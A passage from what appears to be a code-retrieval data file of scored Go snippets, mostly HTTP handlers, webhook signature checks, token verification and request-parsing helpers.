\"REQUEST_URI_RAW\":\n\t\treturn VARIABLE_REQUEST_URI_RAW, nil\n\tcase \"RESOURCE\":\n\t\treturn VARIABLE_RESOURCE, nil\n\tcase \"RESPONSE_BODY\":\n\t\treturn VARIABLE_RESPONSE_BODY, nil\n\tcase \"RESPONSE_CONTENT_LENGTH\":\n\t\treturn VARIABLE_RESPONSE_CONTENT_LENGTH, nil\n\tcase \"RESPONSE_PROTOCOL\":\n\t\treturn VARIABLE_RESPONSE_PROTOCOL, nil\n\tcase \"RESPONSE_STATUS\":\n\t\treturn VARIABLE_RESPONSE_STATUS, nil\n\tcase \"SERVER_ADDR\":\n\t\treturn VARIABLE_SERVER_ADDR, nil\n\tcase \"SERVER_NAME\":\n\t\treturn VARIABLE_SERVER_NAME, nil\n\tcase \"SERVER_PORT\":\n\t\treturn VARIABLE_SERVER_PORT, nil\n\tcase \"SESSIONID\":\n\t\treturn VARIABLE_SESSIONID, nil\n\tcase \"RESPONSE_HEADERS_NAMES\":\n\t\treturn VARIABLE_RESPONSE_HEADERS_NAMES, nil\n\tcase \"REQUEST_HEADERS_NAMES\":\n\t\treturn VARIABLE_REQUEST_HEADERS_NAMES, nil\n\tcase \"USERID\":\n\t\treturn VARIABLE_USERID, nil\n\tcase \"ARGS\":\n\t\treturn VARIABLE_ARGS, nil\n\tcase \"ARGS_GET\":\n\t\treturn VARIABLE_ARGS_GET, nil\n\tcase \"ARGS_POST\":\n\t\treturn VARIABLE_ARGS_POST, nil\n\tcase \"FILES_SIZES\":\n\t\treturn VARIABLE_FILES_SIZES, nil\n\tcase \"FILES_NAMES\":\n\t\treturn VARIABLE_FILES_NAMES, nil\n\tcase \"FILES_TMP_CONTENT\":\n\t\treturn VARIABLE_FILES_TMP_CONTENT, nil\n\tcase \"MULTIPART_FILENAME\":\n\t\treturn VARIABLE_MULTIPART_FILENAME, nil\n\tcase \"MULTIPART_NAME\":\n\t\treturn VARIABLE_MULTIPART_NAME, nil\n\tcase \"MATCHED_VARS_NAMES\":\n\t\treturn VARIABLE_MATCHED_VARS_NAMES, nil\n\tcase \"MATCHED_VARS\":\n\t\treturn VARIABLE_MATCHED_VARS, nil\n\tcase \"FILES\":\n\t\treturn VARIABLE_FILES, nil\n\tcase \"REQUEST_COOKIES\":\n\t\treturn VARIABLE_REQUEST_COOKIES, nil\n\tcase \"REQUEST_HEADERS\":\n\t\treturn VARIABLE_REQUEST_HEADERS, nil\n\tcase \"RESPONSE_HEADERS\":\n\t\treturn VARIABLE_RESPONSE_HEADERS, nil\n\tcase \"GEO\":\n\t\treturn VARIABLE_GEO, nil\n\tcase \"REQUEST_COOKIES_NAMES\":\n\t\treturn VARIABLE_REQUEST_COOKIES_NAMES, nil\n\tcase \"FILES_TMPNAMES\":\n\t\treturn VARIABLE_FILES_TMPNAMES, nil\n\tcase \"ARGS_NAMES\":\n\t\treturn VARIABLE_ARGS_NAMES, nil\n\tcase \"ARGS_GET_NAMES\":\n\t\treturn VARIABLE_ARGS_GET_NAMES, nil\n\tcase \"ARGS_POST_NAMES\":\n\t\treturn VARIABLE_ARGS_POST_NAMES, nil\n\tcase \"GLOBAL\":\n\t\treturn VARIABLE_GLOBAL, nil\n\tcase \"IP\":\n\t\treturn VARIABLE_IP, nil\n\tcase \"SESSION\":\n\t\treturn VARIABLE_SESSION, nil\n\tcase \"USER\":\n\t\treturn VARIABLE_USER, nil\n\tcase \"RULE\":\n\t\treturn VARIABLE_RULE, nil\n\tcase \"XML\":\n\t\treturn VARIABLE_XML, nil\n\tcase \"TX\":\n\t\treturn VARIABLE_TX, nil\n\tcase \"DURATION\":\n\t\treturn VARIABLE_DURATION, nil\n\tcase \"URI_PARSE_ERROR\":\n\t\treturn VARIABLE_URI_PARSE_ERROR, nil\n\tcase \"JSON\":\n\t\treturn VARIABLE_JSON, nil\n\t}\n\treturn 0, errors.New(\"Invalid variable \" + name)\n}", "title": "" }, { "docid": "ed790f7716bbc05a08e8e64f64191c78", "score": "0.4680515", "text": "func HandleRequest(datap *C.char) *C.char {\n\tdata := C.GoString(datap)\n\tlog.Println(data)\n\tvar e Event\n\terr := json.Unmarshal([]byte(data), &e)\n\tlog.Println(err)\n\tif err != nil {\n\t\treturn C.CString(\"Could not parse json: \" + data)\n\t}\n\tres := Handle(e)\n\treturn C.CString(res)\n}", "title": "" }, { "docid": "9f716dc752a1d94b15c58a64475eacf3", "score": "0.4663216", "text": "func clsHTTP(host string, port int) func(api string, data url.Values) ([]byte, error) {\n\treturn func(api string, data url.Values) ([]byte, error) {\n\t\ts := fmt.Sprintf(\"https://%v:%d/inner/%s\", host, port, api)\n\t\tlg.Println(\"http\", s, data)\n\t\tif data == nil {\n\t\t\treturn utee.HttpGet(s)\n\t\t}\n\n\t\treturn utee.HttpPost(s, data)\n\t}\n}", "title": "" }, { "docid": "709bad79ad2240caba7971e5eb23406b", "score": "0.4659312", "text": "func HTTPRequest(req *HTTPPayload) zap.Field {\n\treturn zap.Object(\"httpRequest\", req)\n}", "title": "" }, { "docid": "b877ee1286fc94e775850ebe85cc2baa", "score": "0.46564427", "text": "func Handle(req handler.Request) (handler.Response, error) {\n\tvar err error\n\tvar message strings.Builder\n\n\tmessage.WriteString(fmt.Sprintf(\"Hello world, input was: %s\\n\", string(req.Body)))\n\n\tmessage.WriteString(fmt.Sprintf(\"Headers Received from Caller: \\n\"))\n\n\tfor name, values := range req.Header {\n\t\tfor _, value := range values {\n\t\t\tmessage.WriteString(fmt.Sprintf(\"%s: %s\\n\", name, value))\n\t\t}\n\t}\n\n\treturn handler.Response{\n\t\tBody: []byte(message.String()),\n\t\tStatusCode: http.StatusOK,\n\t}, err\n}", "title": "" }, { "docid": "194c9822d19c0e92e5ab2af4af797baa", "score": "0.46559775", "text": "func main() {\n\thttp.HandleFunc(\"/hello\", func(rw http.ResponseWriter, req *http.Request) {\n\t\tname := req.URL.Query().Get(\"name\")\n\t\trw.Write([]byte(fmt.Sprintf(\"Hello, %s\", name)))\n\t})\n\thttp.ListenAndServe(\":8080\", nil)\n}", "title": "" }, { "docid": "f19a58ce0ec2b4ff4a03279ab0126284", "score": "0.46408504", "text": "func Handle(req []byte) string {\n\tvar match Match\n\n\tresponse, err := http.Get(\"https://worldcup.sfg.io/matches/today\")\n\tif err != nil {\n\t\treturn fmt.Sprintf(\"%s\", err)\n\t} else {\n\t\tdefer response.Body.Close()\n\t\tcontents, err := ioutil.ReadAll(response.Body)\n\t\tif err != nil {\n\t\t\treturn fmt.Sprintf(\"%s\", err)\n\t\t}\n\t\tjson.Unmarshal(contents, &match)\n\t\treturn CallFunction(\"http://figlet:8080\", fmt.Sprintf(\"%s [ %d - %d ] %s\", match[0].HomeTeam.Code, match[0].HomeTeam.Goals, match[0].AwayTeam.Goals, match[0].AwayTeam.Code))\n\t}\n}", "title": "" }, { "docid": "0c8da9ecdd7edc27b95e9f366456c670", "score": "0.46242803", "text": "func Handle(req []byte) string {\n\treturn fmt.Sprintf(\"Hello, Go. We're in function 2. Testing status dashboard link.\")\n}", "title": "" }, { "docid": "c3731f684b6ebe12bac23eb720b78c65", "score": "0.4610325", "text": "func PayloadHandler(resp http.ResponseWriter, req *http.Request) {\n\tresp.WriteHeader(http.StatusOK)\n\tlog.Printf(\"Method: %s\\n\", req.Method)\n\tfmt.Fprintf(resp, \"Method: %s\\n\", req.Method)\n\n\tlog.Printf(\"Src IP: %s\\n\", req.RemoteAddr)\n\tfmt.Fprintf(resp, \"src IP: %s\\n\", req.RemoteAddr)\n\n\tlog.Printf(\"Date: %s\\n\", time.Now())\n\tfmt.Fprintf(resp, \"Date: %s\\n\", time.Now())\n\thost,_ := os.Hostname()\n\tlog.Printf(\"Hostname: %s\\n\", host)\n\tfmt.Fprintf(resp, \"Hostname: %s\\n\",host)\n}", "title": "" }, { "docid": "d20e3243f11a2ef53206371ee5527a46", "score": "0.46097913", "text": "func(f *Frontend) ServeHTTP(w http.ResponseWriter,r *http.Request) {\n\tdefer func() {\n\t\tif re:=recover();re!=nil {\n\t\t\te,_ :=re.(error)\n\t\t\thttp.Error(w,ErrorToJSONString(e),http.StatusInternalServerError)\n\t\t}\n\t\tr.Body.Close()\n\t}()\n\n\thttpContext := &HTTPContext{Request: r,Response: w}\n\tsession := httpContext.Session(f.key)\n\tobuf := new(bytes.Buffer)\n\n\tdefer func() {\n\t\tsession.Flush(w,f.key) //Update session on client side if necessary.\n\t\tobuf.WriteTo(w)\n\t}()\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tswitch r.Method {\n\t\tcase \"POST\":\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\tdec:=json.NewDecoder(r.Body)\n\t\t\tvar m call\n\t\t\tif e := dec.Decode(&m); e != nil{\n\t\t\t\tpanic(e)\n\t\t\t}\n\n\t\t\tif b,found := f.Binding(m.Interface,m.Method); found {\n\t\t\t\tif len(b.ValidationString()) != len(m.Data) {\n\t\t\t\t\thttp.Error(w,ErrorToJSONString(fmt.Errorf(\"Invalid parameter count: %d/%d\",len(m.Data),len(b.ValidationString()))),http.StatusBadRequest)\n\t\t\t\t} else {\n\t\t\t\t\tb.processCall(obuf,NewI(httpContext,session),m.CRID,m.Data...)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\thttp.Error(w,ErrorToJSONString(errors.New(fmt.Sprint(\"Binding %s.%s not found.\",m.Interface,m.Method))),http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\tcase \"GET\":\n\t\t\tpath := r.URL.Path\n\t\t\tif strings.Contains(path,f.context) {\n\t\t\t\tsub:= strings.SplitAfterN(path,f.context,2)\n\t\t\t\telems := strings.Split(sub[1],\"/\")\n\n\t\t\t\tif len(elems) > 0 {\n\t\t\t\t\telems = elems[1:]\n\t\t\t\t}\n\n\t\t\t\tif len(elems) >= 2 {\n\t\t\t\t\tif b,f := f.Binding(elems[0],elems[1]); f {\n\t\t\t\t\t\tif len(b.ValidationString()) != 0 {\n\t\t\t\t\t\t\thttp.Error(w,ErrorToJSONString(fmt.Errorf(\"Invalid parameter count: %d/%d\",0,len(b.ValidationString()))),http.StatusBadRequest)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tb.processCall(obuf,NewI(httpContext,session),\"\")\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\thttp.Error(w,ErrorToJSONString(errors.New(fmt.Sprintf(\"Binding %s.%s not found.\",elems[0],elems[1]))),http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t\tw.Header().Set(\"Content-Type\", \"application/javascript\")\n\t\t\tf.Build(obuf)\n\t\tdefault:\n\t\t\thttp.Error(w,\"Unsupported Method\",http.StatusMethodNotAllowed)\n\t}\n}", "title": "" }, { "docid": "c2281c11fb036af5104aa6012f2295ad", "score": "0.46017388", "text": "func (srv *ServerHTTP) handle(rw http.ResponseWriter, r *http.Request, expectedMsg []byte, fn func(c astichat.Chatterer) ([]byte, error)) {\n\t// Process HTTP errors\n\tvar errServer error\n\tvar errRequest error\n\tdefer srv.processErrors(rw, &errRequest, &errServer, \"\")\n\n\t// Unmarshal\n\tvar b astichat.Body\n\tif errServer = json.NewDecoder(r.Body).Decode(&b); errServer != nil {\n\t\tastilog.Errorf(\"%s while unmarshaling body\", errServer)\n\t\treturn\n\t}\n\n\t// Retrieve chatterer\n\tvar c astichat.Chatterer\n\tif c, errServer = srv.storage.ChattererFetchByUsername(b.Request.Username); errServer != nil {\n\t\tastilog.Errorf(\"%s while fetching chatterer by username %s\", errServer, b.Request.Username)\n\t\treturn\n\t}\n\n\t// Process body\n\tvar msg []byte\n\tif msg, errServer = b.Process(astichat.TimeNow(), c.ServerPrivateKey); errServer != nil {\n\t\tastilog.Errorf(\"%s while processing body\", errServer)\n\t\treturn\n\t}\n\n\t// Validate message\n\tif errServer = astichat.ValidateMessage(msg, expectedMsg); errServer != nil {\n\t\tastilog.Errorf(\"%s while validating message\", errServer)\n\t\treturn\n\t}\n\n\t// Custom handler\n\tif msg, errServer = fn(c); errServer != nil {\n\t\tastilog.Errorf(\"%s while executing custom handler\", errServer)\n\t\treturn\n\t}\n\n\t// Create new body\n\tif b, errServer = astichat.NewBody(msg, astichat.TimeNow(), \"\", c.ClientPublicKey); errServer != nil {\n\t\tastilog.Errorf(\"%s while creating new body\", errServer)\n\t\treturn\n\t}\n\n\t// Write\n\tif errServer = json.NewEncoder(rw).Encode(b); errServer != nil {\n\t\tastilog.Errorf(\"%s while writing\", errServer)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "65632cbacc545b59ef429d580fc51432", "score": "0.45920315", "text": "func SendMessage(w http.ResponseWriter, req *http.Request) {\n\n //ret := OutputHeaderType{\n // Error: false,\n // Status: BODY_ACCEPT,\n // Description: \"Accepting body for this header\",\n // BodyAccept: &BodyAcceptType{\n // Path: \"/incoming/\" + path,\n // Timeout: to.Format(time.RFC3339),\n // },\n //}\n //w.Header().Set(\"Content-Type\", \"application/json\")\n //w.WriteHeader(http.StatusOK)\n //_ = json.NewEncoder(w).Encode(ret)\n}", "title": "" }, { "docid": "52bb0574bdaea143e534bf3b4db130ca", "score": "0.45912996", "text": "func (ds DataStore) httpget(w http.ResponseWriter, req *http.Request) {\n\tlog.Printf(\"get %v\", req)\n\tname := req.URL.Query().Get(\"name\")\n\tif val, ok := ds.data[name]; ok {\n\t\tfmt.Fprintf(w, \"%s: %d\\n\", name, val)\n\t} else {\n\t\tfmt.Fprintf(w, \"%s not found\\n\", name)\n\t}\n}", "title": "" }, { "docid": "5c6071522b555ae529ba15cee876965d", "score": "0.4582426", "text": "func (s *SMS) ServeHTTP(w http.ResponseWriter, req *http.Request) {\n\tlog.Println(\"incoming SMS:\", req.Method, req.URL)\n\tif req.Method != \"POST\" {\n\t\tw.Header().Set(\"Allowed\", \"POST\")\n\t\thttp.Error(w, http.StatusText(http.StatusMethodNotAllowed), http.StatusMethodNotAllowed)\n\t\tlog.Println(\"Method not allowed\")\n\t\treturn\n\t}\n\tcounts.Add(\"received\", 1)\n\tif !strings.HasPrefix(req.Header.Get(\"Content-Type\"), \"application/json\") {\n\t\thttp.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n\t\tlog.Println(\"Bad content type:\", req.Header.Get(\"Content-Type\"))\n\t\treturn\n\t}\n\tdata, err := ioutil.ReadAll(req.Body)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\tlog.Println(\"Error reading body:\", err)\n\t\treturn\n\t}\n\treq.Body.Close()\n\tvar sms = new(IncomingSMS)\n\tif err := json.Unmarshal(data, sms); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\tlog.Println(\"Error JSON decode:\", err)\n\t\treturn\n\t}\n\tif sms.Event != \"incomingSms\" {\n\t\thttp.Error(w, \"Not 'incomingSms' event type\", http.StatusBadRequest)\n\t\tlog.Println(\"Not 'incomingSms' event:\", sms.Event)\n\t\treturn\n\t}\n\th := md5.New()\n\tif _, err = h.Write(data); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\tlog.Println(\"hash error:\", err)\n\t\treturn\n\t}\n\tsecret, err := base64.StdEncoding.DecodeString(s.Secret)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\tlog.Println(\"secret decode error:\", err)\n\t\treturn\n\t}\n\tsign := strings.Join([]string{\n\t\treq.Method,\n\t\tbase64.StdEncoding.EncodeToString(h.Sum(nil)),\n\t\treq.Header.Get(\"Content-Type\"),\n\t\t\"x-timestamp:\" + req.Header.Get(\"X-Timestamp\"),\n\t\treq.URL.Path,\n\t}, \"\\n\")\n\t// log.Print(\"Sign:\\n\", sign)\n\tmac := hmac.New(sha256.New, secret)\n\tif _, err := io.WriteString(mac, sign); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\tlog.Println(\"sha356 decode error:\", err)\n\t\treturn\n\t}\n\tsignature := base64.StdEncoding.EncodeToString(mac.Sum(nil))\n\tauth := fmt.Sprintf(\"%s:%s\", s.Key, signature)\n\tif !strings.HasSuffix(req.Header.Get(\"Authorization\"), auth) {\n\t\thttp.Error(w, \"Bad signature\", http.StatusBadRequest)\n\t\tlog.Println(\"Bad signature:\", auth, \"vs\", req.Header.Get(\"Authorization\"))\n\t\treturn\n\t}\n\tif s.OnMessage != nil {\n\t\ts.OnMessage(*sms)\n\t}\n\tw.WriteHeader(http.StatusNoContent)\n}", "title": "" }, { "docid": "59334325ed667dcbb26a7e3aef20e9b8", "score": "0.45709386", "text": "func GetHTTPAddress() string {\n\treturn viper.GetString(varHTTPAddress)\n}", "title": "" }, { "docid": "4929be98ba58328c6ae873d2fffd6ffb", "score": "0.45693263", "text": "func Handle(req []byte) string {\n\treturn fmt.Sprintf(\"%s\", string(req))\n}", "title": "" }, { "docid": "02a27e2d8af5ff75bbee2b7dd054e0b0", "score": "0.4525463", "text": "func HandleFunc(path, token string, h HandlerFunc) {\n\thttp.HandleFunc(path, func(w http.ResponseWriter, req *http.Request) {\n\t\tslackReq := newRequestFromHttpRequest(req)\n\t\tif slackReq.Token != token {\n\t\t\thttp.Error(w, \"Invalid token\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\tlog.Printf(\"Handling %s %s (channel=%s, user=%s)\\n\", path, slackReq.Text, slackReq.ChannelName, slackReq.UserName)\n\n\t\tresp, err := h(slackReq)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\tjson, err := json.MarshalIndent(resp, \"\", \" \")\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t_, err = w.Write(json)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t})\n}", "title": "" }, { "docid": "23bd6ef8956e494642eee229e56437c6", "score": "0.45248836", "text": "func (c *Client) Send(invocationEvent *api.InvocationEvent, payload []byte) (*http.Response, string, error) {\n\treq, err := BuildRequest(payload, invocationEvent, c.functionName, c.licenseKey, c.telemetryEndpoint, \"lambda-extension\")\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\n\tres, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\n\tdefer util.Close(res.Body)\n\n\tbodyBytes, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\n\treturn res, string(bodyBytes), nil\n}", "title": "" }, { "docid": "0415851bd25499237b0ad3a76a12fae2", "score": "0.45236138", "text": "func (mtu MessageToUser) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tname := r.FormValue(\"name\")\n\tresponse, err := json.Marshal(MessageToUser{User: name, Message: \"Hello World\"})\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(response)\n}", "title": "" }, { "docid": "64d2f6c32b16bf1e1cbec35a6eb7b4d4", "score": "0.45200008", "text": "func (f HandlerFunc) ServeHTTP(w string, r string) {\n\tf(w, r)\n}", "title": "" }, { "docid": "07e8107787ff63af728a163c09baa20e", "score": "0.45179182", "text": "func InfoHTTPHandler(name, version string) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tdata := struct {\n\t\t\tName string `json:\"name\"`\n\t\t\tVersion string `json:\"version\"`\n\t\t\tEnvironment string `json:\"environment,omitempty\"`\n\t\t}{\n\t\t\tName: name,\n\t\t\tVersion: version,\n\t\t\tEnvironment: configutil.GetGoEnv(),\n\t\t}\n\t\tenc := json.NewEncoder(w)\n\t\tenc.SetIndent(\"\", \" \")\n\t\tif err := enc.Encode(&data); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "9bb9955268dba004b558aa4cf56c55b3", "score": "0.45145816", "text": "func RcvfHTTP(msg beehive.Msg, ctx beehive.RcvContext) error {\n\t// msg is an envelope around the Hello message.\n\t// You can retrieve the Hello, using msg.Data() and then\n\t// you need to assert that its a Hello.\n\thello := msg.Data().(HelloHTTP)\n\t// Using ctx.Dict you can get (or create) a dictionary.\n\tdict := ctx.Dict(\"hello_dict\")\n\t// Using Get(), you can get the value associated with\n\t// a key in the dictionary. Keys are always string\n\t// and values are generic interface{}'s.\n\tv, err := dict.Get(hello.Name)\n\t// If there is an error, the entry is not in the\n\t// dictionary. Otherwise, we set cnt based on\n\t// the value we already have in the dictionary\n\t// for that name.\n\tcnt := 0\n\tif err == nil {\n\t\tcnt = v.(int)\n\t}\n\t// Now we increment the count.\n\tcnt++\n\t// Reply to the message with the count of hellos.\n\tctx.Reply(msg, cnt)\n\t// Finally we update the count stored in the dictionary.\n\treturn dict.Put(hello.Name, cnt)\n}", "title": "" }, { "docid": "a21eb52f714a89c48f810ac6b09e57af", "score": "0.45035547", "text": "func HelloHTTP(w http.ResponseWriter, r *http.Request) {\n\tvar d struct {\n\t\tName string `json:\"name\"`\n\t}\n\tauthorization := r.Header.Get(\"Authorization\")\n\tif authorization == \"\" {\n\t\tfmt.Fprint(w, \"Missing authorization\")\n\t\tw.WriteHeader(400)\n\t\treturn\n\t}\n\n\tidToken := strings.Replace(authorization, \"Bearer \", \"\", -1)\n\tlog.Printf(\"Authorization Bearer %s\\n\", idToken)\n\ttoken, err := firebaseAuth.VerifyIDToken(r.Context(), idToken)\n\tif err != nil {\n\t\tlog.Println(\"Error authorization\", err)\n\t\tw.WriteHeader(401)\n\t\terrorMsg := err.Error()\n\t\tfmt.Fprintf(w, \"Invalid authorization: %s\", errorMsg)\n\t\treturn\n\t}\n\n\tlog.Printf(\"Verified ID token: %v\\n\", token)\n\n\tif err := json.NewDecoder(r.Body).Decode(&d); err != nil {\n\t\tfmt.Fprint(w, \"Hello, World!\")\n\t\treturn\n\t}\n\tif d.Name == \"\" {\n\t\tfmt.Fprint(w, \"Hello, World!\")\n\t\treturn\n\t}\n\t/*w.Header().Set(\"Content-Type\", \"application/json\")\n\tvar response struct {\n\t\tMessage string `json:\"message\"`\n\t\tUID string `json:\"uid\"`\n\t\tEmail string `json:\"email\"`\n\t}*/\n\tfmt.Fprintf(w, \"Hello, %s!, %s\", html.EscapeString(d.Name), token.Firebase.Identities[\"email\"])\n}", "title": "" }, { "docid": "401859375fd1940a98c984d63c3e5700", "score": "0.44810635", "text": "func DecodeHttpGetTokenRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\tvar requestHttp GetTokenHttpInboundDto\n\t//bodyBytes, _ := ioutil.ReadAll(r.Body)\n\t//\n\t//bodyString := string(bodyBytes)\n\t//fmt.Println(bodyString)\n\tif err := json.NewDecoder(r.Body).Decode(&requestHttp); err != nil {\n\t\treturn nil, err\n\t}\n\trequest := adapters.TokenRequest{\n\t\tUsername: requestHttp.Username,\n\t\tPassword: requestHttp.Password,\n\t}\n\n\treturn request, nil\n}", "title": "" }, { "docid": "32e34b50bcda7aaceccf9059e5b77974", "score": "0.44796348", "text": "func ReadRequest(b *bufio.Reader) (req *HTTPRequest, err error) {\n // wrap our buffered I/O reader with a textproto\n // reader to provide convience methods for reading\n // requests from the proxied HTTP client\n tp := textproto.NewReader(b)\n req = new(HTTPRequest)\n\n // First line: GET /index.html HTML/1.1\n var s string\n s, err = tp.ReadLine()\n if err != nil {\n return nil, err\n }\n\n var ok bool\n req.Method, req.RequestURI, req.Proto, ok = parseRequestLine(s)\n if !ok {\n return nil, &parseError{\"malformed HTTP request\", s}\n }\n if !validMethod(req.Method) {\n return nil, &parseError{\"unsupposeted HTTP method\", req.Method}\n }\n req.ProtoMajor, req.ProtoMinor, ok = parseHTTPVersion(req.Proto)\n if !ok {\n return nil, &parseError{\"invalid HTTP version\", req.Proto}\n }\n req.URL, err = url.ParseRequestURI(req.RequestURI)\n if err != nil {\n return nil, err\n }\n // read subsquent header values using our textproto.Reader,\n // which can read MIME-style headers. A sequence of Key: Value\n // lines ending in a blank line.\n //\n // For example the input:\n //\n // Key-One: Value 1\n // Long-Key: Even Longer Value\n // Key-Two: Value 2\n //\n // ReadMIMEHeader will return the map\n //\n // map[string][]string{\n // \"My-Key\": {\"Value-1\", \"Value-2\"},\n // \"Long-Key\": {\"Even longer value\"}\n // }\n mimeHeader, err := tp.ReadMIMEHeader()\n if err != nil {\n return nil, err\n }\n req.Header = mimeHeader\n\n // RFC 2616: Must treat\n // GET /index.html HTTP/1.1\n // Host: www.example.com\n // and\n // GET http://www.example.com/index.html\n // Host: foobar\n // the same. In the second case, any Host line is ignored.\n req.Host = req.URL.Host\n if req.Host == \"\" {\n req.Host = req.Header[\"Host\"][0]\n } else {\n delete(req.Header, \"Host\")\n }\n\n return req, nil\n}", "title": "" }, { "docid": "f05c8b2416acedb8df53d2f7c703122c", "score": "0.44662246", "text": "func handleHTTP(s *Server, sd *StreamData) {\n\t// Ready data for logics & do some logic\n\t// - Route by URL\n\t// - Encode||Decode body by mime type header\n\n\t// Add Server Header to response : \"ChaparKhane\" || SCP means \"SabzCityPlatform\".\n\n\t// If project don't have any logic that support data on e.g. HTTP (restful, ...) we reject request with related error.\n}", "title": "" }, { "docid": "14840353a1ea5a956a74506d7f916a16", "score": "0.44624865", "text": "func HttpHandler(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close()\n\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\n\t// TIP: CORS\n\tw.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\tw.Header().Add(\"Access-Control-Allow-Headers\", \"*\")\n\tw.Header().Add(\"Access-Control-Allow-Credentials\", \"true\")\n\tw.Header().Add(\"Access-Control-Allow-Methods\", \"POST\")\n\n\thttpRequest = r\n\n\tvar request any\n\tvar response any\n\n\tif err := json.NewDecoder(r.Body).Decode(&request); err != nil {\n\t\t_, _ = fmt.Fprintf(w, `{\"jsonrpc\": \"2.0\", \"error\": {\"code\": -42700, \"message\": \"Common Error\"}}`)\n\n\t\treturn\n\t}\n\n\treqType := reflect.ValueOf(request).Kind()\n\n\tif reqType == reflect.Slice {\n\t\tvar responses []string\n\n\t\tfor _, item := range request.([]any) {\n\t\t\tpr := processRequest(item.(map[string]any))\n\n\t\t\tif pr != notifyResponse {\n\t\t\t\tresponses = append(responses, pr)\n\t\t\t}\n\t\t}\n\n\t\tvar rr []string\n\t\tfor _, r := range responses {\n\t\t\tif r != \"\" {\n\t\t\t\trr = append(rr, r)\n\t\t\t}\n\t\t}\n\n\t\t// TODO: maybe it can make more beautiful\n\t\tresponse = \"[\" + strings.Join(rr, \",\") + \"]\"\n\t} else {\n\t\tresponse = processRequest(request.(map[string]any))\n\t}\n\n\t_, _ = fmt.Fprint(w, response)\n\n\thttpRequest = nil\n}", "title": "" }, { "docid": "62729d94f9c68b538790386c76309346", "score": "0.44584432", "text": "func (h *Hello) ServeHTTP(rw http.ResponseWriter, r *http.Request) {\n\th.l.Println(\"Handle Hello requests\")\n\n\t// read the body\n\td, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\th.l.Println(\"Error reading body\", err)\n\t\thttp.Error(rw, \"Unalbe to read request body\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t// response\n\tfmt.Fprintf(rw, \"Hello %s\", d)\n}", "title": "" }, { "docid": "075c833c72f3431dbdf95878d4ab45ec", "score": "0.44571227", "text": "func (s *Server) externalHandler(w http.ResponseWriter, r *http.Request) {\n\tvar respErr error\n\treq := &acomm.Request{}\n\n\t// Send the immediate response\n\tdefer func() {\n\t\tresp, err := acomm.NewResponse(req, nil, nil, respErr)\n\t\trespJSON, err := json.Marshal(resp)\n\t\tif err != nil {\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"error\": err,\n\t\t\t\t\"req\": req,\n\t\t\t\t\"response\": resp,\n\t\t\t}).Error(\"failed to marshal initial response\")\n\t\t}\n\n\t\tif _, err := w.Write(respJSON); err != nil {\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"error\": err,\n\t\t\t\t\"req\": req,\n\t\t\t\t\"response\": resp,\n\t\t\t}).Error(\"failed to send initial response\")\n\t\t}\n\t}()\n\n\t// Parse the request\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\trespErr = err\n\t\treturn\n\t}\n\n\tif err := json.Unmarshal(body, req); err != nil {\n\t\trespErr = err\n\t\treturn\n\t}\n\n\trespErr = s.handleRequest(req)\n}", "title": "" }, { "docid": "5338b0d2801ca7d41ed82a47d73baab7", "score": "0.44543183", "text": "func IncomingMessageHeader(w http.ResponseWriter, req *http.Request) {\n\t// Check ticket\n\tt, err := fetchTicketHeader(req)\n\tif err != nil {\n\t\tErrorOut(w, http.StatusUnauthorized, \"invalid ticket id or ticket not valid\")\n\t\treturn\n\t}\n\n\t// Read header from request body\n\theader, err := readHeaderFromBody(req.Body)\n\tif err != nil {\n\t\tErrorOut(w, http.StatusBadRequest, \"invalid header posted\")\n\t\treturn\n\t}\n\n\t// Verify from/to header with the ticket info\n\tif header.From.Addr.String() != t.From.String() || header.To.Addr.String() != t.To.String() {\n\t\tErrorOut(w, http.StatusBadRequest, \"header from/to address do not match the ticket\")\n\t\treturn\n\t}\n\n\t// Save request\n\terr = message.StoreHeader(t.ID, header)\n\tif err != nil {\n\t\tErrorOut(w, http.StatusInternalServerError, \"error while storing message 